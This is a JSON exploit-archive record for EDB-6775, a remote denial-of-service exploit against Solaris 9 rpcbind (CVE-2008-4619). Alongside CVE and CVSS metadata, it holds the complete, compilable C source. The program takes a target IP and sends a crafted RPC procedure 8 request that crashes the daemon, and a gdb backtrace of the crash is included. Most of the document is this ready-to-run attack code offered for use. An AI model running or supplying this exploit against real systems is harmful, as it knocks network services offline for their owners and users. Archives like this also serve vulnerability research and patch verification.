{"exploit":{"id":"EDB-6775","name":"Sun Solaris 9 PortBind - XDR-DECODE 'taddr2uaddr()' Remote Denial of Service (DoS)","description":"Sun Solaris 9 PortBind - XDR-DECODE 'taddr2uaddr()' Remote Denial of Service (DoS)","cves":["CVE-2008-4619"],"author":"Federico L. Bossi Bonin","published":"2008-10-17","platform":"solaris","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6775","path":"exploits/solaris/dos/6775.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6775.c","vulnerabilities":[{"id":"CVE-2008-4619","state":"PUBLISHED","title":null,"titleSource":null,"description":"The RPC subsystem in Sun Solaris 9 allows remote attackers to cause a denial of service (daemon crash) via a crafted request to procedure 8 in program 100000 (rpcbind), related to the XDR_DECODE operation and the taddr2uaddr function. NOTE: this might be a duplicate of CVE-2007-0165.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4619","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4619"},"updatedAt":"2024-08-07T10:24:20.665Z","retrievedAt":"2026-11-26T20:07:11.006Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6775.png?v=2","url":"https://exploitbin.com/exploits/EDB-6775","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6775/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6775/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n////////////////////////////////////////////////////////////\n// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n////////////////////////////////////////////////////////////\n//\n// Federico L. Bossi Bonin\n// fbossi[at]globalST[dot]com[dot]ar\n/////////////////////////////////////////////////////\n\n\nProgram received signal SIGSEGV, Segmentation fault.\n0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1\n(gdb) backtrace\n#0  0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1\n#1  0x00013d88 in rpcbproc_taddr2uaddr_com ()\n#2  0x000161c0 in rpcb_service_4 ()\n(gdb)\n\n*/\n\n#include <string.h>\n#include <rpc/rpc.h>\n\nstruct xdr {\n        long long_arg;\n        char *string_arg;\n};\n\ntypedef struct xdr xdr;\nstatic struct timeval TIMEOUT = { 25, 0 };\n\nbool_t xdr_xdr (XDR *xdrs, xdr *objp) {\n        register int32_t *buf;\n\n         if (!xdr_long (xdrs, &objp->long_arg))\n                 return FALSE;\n         if (!xdr_string (xdrs, &objp->string_arg, 4096))\n                 return FALSE;\n        return TRUE;\n}\n\nchar ** str_4(xdr *argp, CLIENT *clnt) {\n        static char *clnt_res;\n\n        memset((char *)&clnt_res, 0, sizeof(clnt_res));\n        if (clnt_call (clnt, 8,\n                (xdrproc_t) xdr_xdr, (caddr_t) argp,\n                (xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,\n                TIMEOUT) != RPC_SUCCESS) {\n                return (NULL);\n        }\n        return (&clnt_res);\n}\n\nmain(int argc, char *argv[]) {\n  CLIENT *c1;\n  char *server;\n  char **sresult;\n\n\n  if (argc !=2){\n    printf(\"=============================================================\\n\");\n    printf(\"Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\\n\");\n    printf(\"-------------------------------------------------------------\\n\");\n    printf(\"Federico L. Bossi Bonin <fbossi@globalST.com.ar>\\n\");\n    printf(\"=============================================================\\n\\n\");\n    printf(\"usage: %s <IP>\\n\",argv[0]);\n    exit(1);\n  }\n\n  server = argv[1];\n\nif ((c1 = clnt_create(server,100000, 4, \"tcp\")) == NULL){\n       clnt_pcreateerror(server);\n    exit(1);\n  }\n\n  xdr xdrmessage;\n  xdrmessage.long_arg = 0;\n  xdrmessage.string_arg=\"\";\n\n  if ((sresult = str_4(&xdrmessage, c1)) == NULL){\n   clnt_perror(c1, server);\n   exit(1);\n  }\n\n  clnt_destroy(c1);\n  exit(0);\n}\n\n// milw0rm.com [2008-10-17]","sha256":"62745bf5a4d3250247095f5efbbbd43333045340852ac71edd93a76b115079f7","bytes":2325,"fetchedAt":"2026-11-26T20:07:09.240Z","encoding":"utf-8 (display only; download retains original bytes)"}